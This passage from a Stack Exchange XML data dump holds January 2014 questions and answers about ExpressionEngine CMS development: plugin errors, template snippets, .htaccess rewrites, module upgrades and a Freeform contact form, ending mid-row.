  <row Id="18453" PostTypeId="1" CreationDate="2014-01-16T15:49:00.680" Score="0" ViewCount="45" Body="&lt;p&gt;I know the plugin is not being developed or supported by the author anymore, but does anyone have experience with SL MailChimp Subscribe?  It only seems to be half working for me.  Some members are being added and some are not, but in particular, it's not correctly adding the country members are selecting.  Only one country, Ireland is being updated in Mailchimp.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light one this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-01-16T15:49:00.680" Title="SL MailChimp Subscribe Issue" Tags="|mailchimp|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18454" PostTypeId="2" ParentId="18451" CreationDate="2014-01-16T15:55:21.003" Score="2" Body="&lt;p&gt;Inside of your &lt;code&gt;submit_record&lt;/code&gt; method (of your &lt;code&gt;Cdwd_waiting_list&lt;/code&gt; class), you'll need to add something like this (after you've done everything else you need to with the form submission):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;functions-&amp;gt;redirect(&#xA;    ee()-&amp;gt;input-&amp;gt;post('RET')&#xA;);&#xA;exit();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-16T15:55:21.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18455" PostTypeId="2" ParentId="18446" CreationDate="2014-01-16T16:00:53.463" Score="0" Body="&lt;p&gt;If each business' &quot;page&quot; is a single entry, then no - Low Search (like all EE search modules - and in fact, all search modules everywhere, including Google) returns one result per entry - you cannot have multiple individual search results for a single channel entry/page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Think: how would you jump to individual results scattered throughout a single page?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps a javascript-based on-page search is a better solution? (Or let users use their own built-in browser page search instead?)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-16T16:00:53.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18456" PostTypeId="1" AcceptedAnswerId="18457" CreationDate="2014-01-16T16:03:35.133" Score="2" ViewCount="81" Body="&lt;p&gt;I'm in the middle of a very very complex EE1-EE2 upgrade and found that I made a mistake and did not uninstall LG Polls before doing the upgrade and am now getting the following error on front end pages&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfdhB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've commented out template code that references lg polls and also changed the lg polls fieldtype to a text input but the error persists. I'd really rather not have to rollback and do the upgrade again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to uninstall the module using something like Navicat and have these errors disappear?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-01-16T16:06:53.463" Title="Uninstall Module via Database Query EE1-EE2 upgrade" Tags="|ee2|ee1|upgrade|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18457" PostTypeId="2" ParentId="18456" CreationDate="2014-01-16T16:06:53.463" Score="4" Body="&lt;p&gt;Funnily enough I'm going through exactly the same process at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm undertaking a conversion from LG Poll to VWM Polls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't care about these errors, you can just set the field's type to 'text' in the exp_channel_fields table, which will at least get your site working again. Then if you don't want to upgrade or migrate LG Polls you can delete the tables, though no need really.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-16T16:06:53.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18458" PostTypeId="2" ParentId="18434" CreationDate="2014-01-16T16:58:13.450" Score="1" Body="&lt;p&gt;If I understand your question correctly, it could be that you're using the incorrect syntax for fetching related categories. The docs don't make it very clear that you need to do it like this, prefixing the categories loop with the name of the relationship field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries dynamic=&quot;no&quot;}&#xA;    {rel_name}&amp;lt;a href=&quot;{rel_name:categories limit=&quot;1&quot;}{category_url_title}{/rel_name:categories}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;{/rel_name}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I misunderstood the question, please add more detail as I'm not entirely sure what you're asking. It strikes me that you may be misusing categories here, since they are meant as a form of organisation that can accept multiple values. You should maybe look into using custom field radio buttons or a select dropdown instead.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-01-16T16:58:13.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18459" PostTypeId="2" ParentId="18446" CreationDate="2014-01-16T17:40:12.023" Score="0" Body="&lt;p&gt;You need to use JavaScript for something like this. Here's a jQuery tutorial:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.designchemical.com/blog/index.php/jquery/live-text-search-function-using-jquery/&quot; rel=&quot;nofollow&quot;&gt;http://www.designchemical.com/blog/index.php/jquery/live-text-search-function-using-jquery/&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-01-16T17:40:12.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18460" PostTypeId="1" CreationDate="2014-01-16T19:20:56.437" Score="1" ViewCount="116" Body="&lt;p&gt;I asked this question previously and am still having trouble.  I want to bypass shipping options for items with free shipping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added this code to the shipping options page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {if order_shipping_val == 0}&#xA;    {redirect=&quot;Store/Confirm-Order&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Unfortunately it redirects for all items including ones that should have paid shipping.  Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="2376" LastActivityDate="2014-01-17T23:16:59.567" Title="Bypassing Shipping Options for FREE shipping" Tags="|expresso-store|expresso|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18461" PostTypeId="2" ParentId="9745" CreationDate="2014-01-16T19:44:04.697" Score="0" Body="&lt;p&gt;I have run into this and it was driving me nuts. I wrote a snippet to handle what I needed based on the fieldtypes I was using. The users wanted it to be auto-&quot;magic&quot; and not require them to upload additional images or add further input. This had me scratching my head for some time. I ended up going through all of the templates for the various social media sites they were affiliated with and went through each API to build out custom &quot;templates&quot; for what they wanted on each site. After gathering the required fields and merging the like fields, I ended up with the below. I just add the snippet in the head with &lt;code&gt;{snip-meta}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- Geo Data --&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.position&quot; content=&quot;my x,my y&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.placename&quot; content=&quot;City, ST&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.region&quot; content=&quot;US-ST&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!-- Place this data between the &amp;lt;head&amp;gt; tags of your website --&amp;gt;&#xA;    &amp;lt;title&amp;gt;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&amp;lt;/title&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;!-- Google Authorship and Publisher Markup --&amp;gt;&#xA;    &amp;lt;link rel=&quot;author&quot; href=&quot;https://plus.google.com/member-id/posts&quot;/&amp;gt;&#xA;    &amp;lt;link rel=&quot;publisher&quot; href=&quot;https://plus.google.com/member-id&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;!-- Schema.org markup for Google+ --&amp;gt;&#xA;    &amp;lt;a href=&quot;https://plus.google.com/member-id?rel=author&quot; style=&quot;display:none;&quot;&amp;gt;Google+&amp;lt;/a&amp;gt;&#xA;    &amp;lt;meta property=&quot;url&quot; content=&quot;{current_url}&quot; /&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;name&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot;&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;datePublished&quot; content=&quot;{entry_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot;&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta itemprop=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot;&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    &amp;lt;!-- Twitter Card data --&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@username&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:title&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot;&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;twitter:description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot;&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta name=&quot;twitter:creator&quot; content=&quot;@alamodeinc&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Twitter summary card with large image must be at least 280x150px --&amp;gt;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find='/product_images/' replace='/product_images/_Twitter_Card_Image'}{field_pair:field}{/exp:low_replace}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find='/product_images/' replace='/product_images/_Twitter_Card_Image'}{field_pair:field}{/exp:low_replace}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta name=&quot;twitter:domain&quot; content=&quot;domain.com&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Open Graph data --&amp;gt;&#xA;    &amp;lt;!-- Used by Facebook and Linked:In --&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:url&quot; content=&quot;{current_url}&quot; /&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta property=&quot;og:description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta property=&quot;og:site_name&quot; content=&quot;{site_label} - company name here&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:published_time&quot; content=&quot;{entry_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:modified_time&quot; content=&quot;{edit_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:section&quot; content=&quot;Article Section&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:tag&quot; content=&quot;Article Tag&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;fb:admins&quot; content=&quot;admin-id&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!-- Pinterest Article Pins - not picked up from earlier tags --&amp;gt;&#xA;    {exp:tagger:tags entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;meta property=&quot;article:tag&quot; content=&quot;{tagger:tag_name}&quot; /&amp;gt;&#xA;    {/exp:tagger:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2014-01-16T19:44:04.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18462" PostTypeId="2" ParentId="17494" CreationDate="2014-01-16T19:59:30.690" Score="2" Body="&lt;p&gt;Within the Media Temple Admin, go to PHP Settings.  Within PHP Settings, your particular EE site domain it is probably set to use FastCGI currently.  Change it to CGI Stable and your problem will be solved.&lt;/p&gt;&#xA;" OwnerUserId="2621" LastActivityDate="2014-01-16T19:59:30.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18463" PostTypeId="1" CreationDate="2014-01-16T20:29:59.640" Score="2" ViewCount="266" Body="&lt;p&gt;Alright I seem to hit rock bottom, and can't figure this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled and read several solutions here, and can't seem to implement them in my situation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is probably an .htaccess solution, which is another reason why I'm asking the question because I don't know how to come up with a solution myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'd like to take a segment/parts of segment out of my url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;domain.com/one-day/one-day-denver&lt;/code&gt; and like it to be - &lt;code&gt;domain.com/denver&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using structure to give me my url structure. I could recreate the page and make it name how I want it, but it would defeat my relationships that I have with playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whats a quick and dirty way that I could write in my &lt;code&gt;.htaccess&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have these rules on there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;  RewriteRule ^ http://%1%{REQUEST_URI} [R=301]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !^(notes|api|cms|fw|themes|uploads|favicon\.ico|robots\.txt|index\.php|speakers\.json|ads|email) [NC]&#xA;RewriteRule ^(.*)$ index.php?$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I write it to remove what I asked about and still and have the inner workings still poiting to &lt;code&gt;/one-day/one-day-denver&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I appreciate any help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2620" LastActivityDate="2014-01-22T12:22:43.003" Title="Remove segment and segment parts out of url" Tags="|url|structure|htaccess|segments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18464" PostTypeId="1" CreationDate="2014-01-16T20:32:31.800" Score="0" ViewCount="84" Body="&lt;p&gt;I have a channel with a playa field where users can select a block of content to insert into a page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way that I can specify a default child entry to display if the playa field is left blank? &lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2014-01-16T21:55:03.477" Title="Playa: Specify a default child entry if none is selected" Tags="|templates|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18465" PostTypeId="1" CreationDate="2014-01-16T21:04:35.157" Score="4" ViewCount="156" Body="&lt;p&gt;I'd like to make some of EE's built-in error messages more helpful to one site's users. And I know I can change these messages in EE system language files like &lt;code&gt;system/expressionengine/language/english/myaccount_lang.php&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since these files are part of the EE system (&lt;em&gt;not&lt;/em&gt; 3rd party), what's the best way to maintain these changes so that they don't get overridden on EE updates, etc.?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For some context, these particular users are having some trouble understanding how to respond to error messages like &lt;code&gt;The email you chose is not available&lt;/code&gt; (an error that appears on registration). And, we're looking at a lot of things on the site other than EE system messages to prevent confusion / help site users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, as one small part of the overall strategy, we'd like to change some of these EE error messages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you done this on any of your sites? How did you maintain these changes over time?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if you have an alternative approach in EE (template-based? add-on-based?) that allows you bypass or override the EE system language files, I'd be interested in hearing about that too.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-02-19T09:37:16.810" Title="EE Language files, best practice for maintaining changes?" Tags="|bestpractice|language|error-pages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18466" PostTypeId="2" ParentId="18464" CreationDate="2014-01-16T21:24:45.060" Score="1" Body="&lt;p&gt;Yes. One approach would be using a conditional based on &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/children.html#variable-tags&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;no_children&lt;/code&gt;&lt;/a&gt; variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;your_field&quot;}&#xA;    {if no_children}&#xA;        No children found...display fallback.&#xA;    {/if}&#xA;{/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you might find that using a conditional based on the &lt;a href=&quot;http://docs.pixelandtonic.com/playa/templating/module/total_children.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;{exp:playa:total_children}&lt;/code&gt;&lt;/a&gt; tag is better suited:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:playa:total_children field='your_field'}&quot;}&#xA;    No children found...display fallback.&#xA;    Perhaps open a channel entry loop here to show your fallback child&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-01-16T21:55:03.477" LastActivityDate="2014-01-16T21:55:03.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18467" PostTypeId="1" CreationDate="2014-01-16T21:58:57.263" Score="1" ViewCount="85" Body="&lt;p&gt;I am running EE 2.7.3 and Solspace Importer 2.2.3. I am getting this error when I select the channel for these entries to go in. I am uploading manually using strict XML.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;&#xA;Message: unserialize(): Error at offset 11 of 49151 bytes&#xA;&#xA;Filename: importer/mcp.importer.php&#xA;Line Number: 1151&#xA;&#xA;&#xA;Unable to Retrieve Profile Data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;entries&amp;gt;&#xA;    &amp;lt;entry&amp;gt;&#xA;        &amp;lt;title&amp;gt;Destiny and a Blue Cloak&amp;lt;/title&amp;gt;&#xA;        &amp;lt;story_author&amp;gt;481&amp;lt;/story_author&amp;gt;&#xA;        &amp;lt;story_age_rating&amp;gt;PG&amp;lt;/story_age_rating&amp;gt;&#xA;        &amp;lt;story_excerpt&amp;gt;&amp;lt;![CDATA[ Except goes here]]&amp;gt;&amp;lt;/story_excerpt&amp;gt;&#xA;        &amp;lt;story_box&amp;gt;&amp;lt;![CDATA[ Content goes here]]&amp;gt;&amp;lt;/story_box&amp;gt;&#xA;        &amp;lt;categories&amp;gt;&#xA;            &amp;lt;category&amp;gt;Romance&amp;lt;/category&amp;gt;&#xA;            &amp;lt;category&amp;gt;Humour&amp;lt;/category&amp;gt;&#xA;        &amp;lt;/categories&amp;gt;&#xA;        &amp;lt;status&amp;gt;open&amp;lt;/status&amp;gt;&#xA;    &amp;lt;/entry&amp;gt;&#xA;&amp;lt;/entries&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-02-17T20:36:34.917" Title="unserialize() PHP error trying to import XML with solspace importer" Tags="|solspace|import|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18468" PostTypeId="1" CreationDate="2014-01-16T23:10:06.140" Score="1" ViewCount="118" Body="&lt;p&gt;I have a simple working contact form that emails a specific person in a company possible customer information. However, the client also wants a confirmation sent to the potential customer when the customer submits the form containing a link and some other general info so that then can return to the &quot;thank you&quot; url, which has some helpful information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you send two different emails at the same time to two a regular email address but also the email inputed in a form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I doesn't seem you can use {email} to email the person who submitted the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:freeform:form &#xA;        form:id=&quot;employee-form-wrap&quot; &#xA;        collection=&quot;Employee Relocation Form&quot;&#xA;        template=&quot;employee-relocation-form&quot; &#xA;&#xA;        return=&quot;contact/thank-you&quot;&#xA;        notify=&quot;contact@mycompany.com&quot;&#xA;        }&#xA;&#xA; {exp:freeform:form &#xA;            form:id=&quot;employee-form-wrap&quot; &#xA;            collection=&quot;Employee Relocation Form Thank You Confirmation Email&quot;&#xA;            template=&quot;Employee-Relocation-Form-Thank-You-Confirmation-Email&quot; &#xA;            notify=&quot;{email}&quot;&#xA;        }&#xA;&#xA;        &amp;lt;p&amp;gt;&amp;lt;span&amp;gt;* &amp;lt;/span&amp;gt;Indicates required field&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;label for=&quot;name&quot;&amp;gt;Name &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;name&quot; name=&quot;name&quot; value=&quot;&quot;  class=&quot;validate[required] text-input&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;                  &#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;label for=&quot;email&quot;&amp;gt;Email &amp;lt;span class=&quot;req&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;email&quot; id=&quot;email&quot; name=&quot;email&quot; value=&quot;&quot;  class=&quot;validate[required,custom[email]]&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div&amp;gt;&#xA;            &amp;lt;label for=&quot;phone&quot;&amp;gt;Phone Number&amp;lt;/label&amp;gt;&amp;lt;br&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; id=&quot;phone&quot; name=&quot;phone&quot; value=&quot;&quot;&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;li class=&quot;screen-reader&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;honeepot&quot;&amp;gt;Don't put anything here&amp;lt;/label&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; name=&quot;honeepot&quot; id=&quot;honeepot&quot; 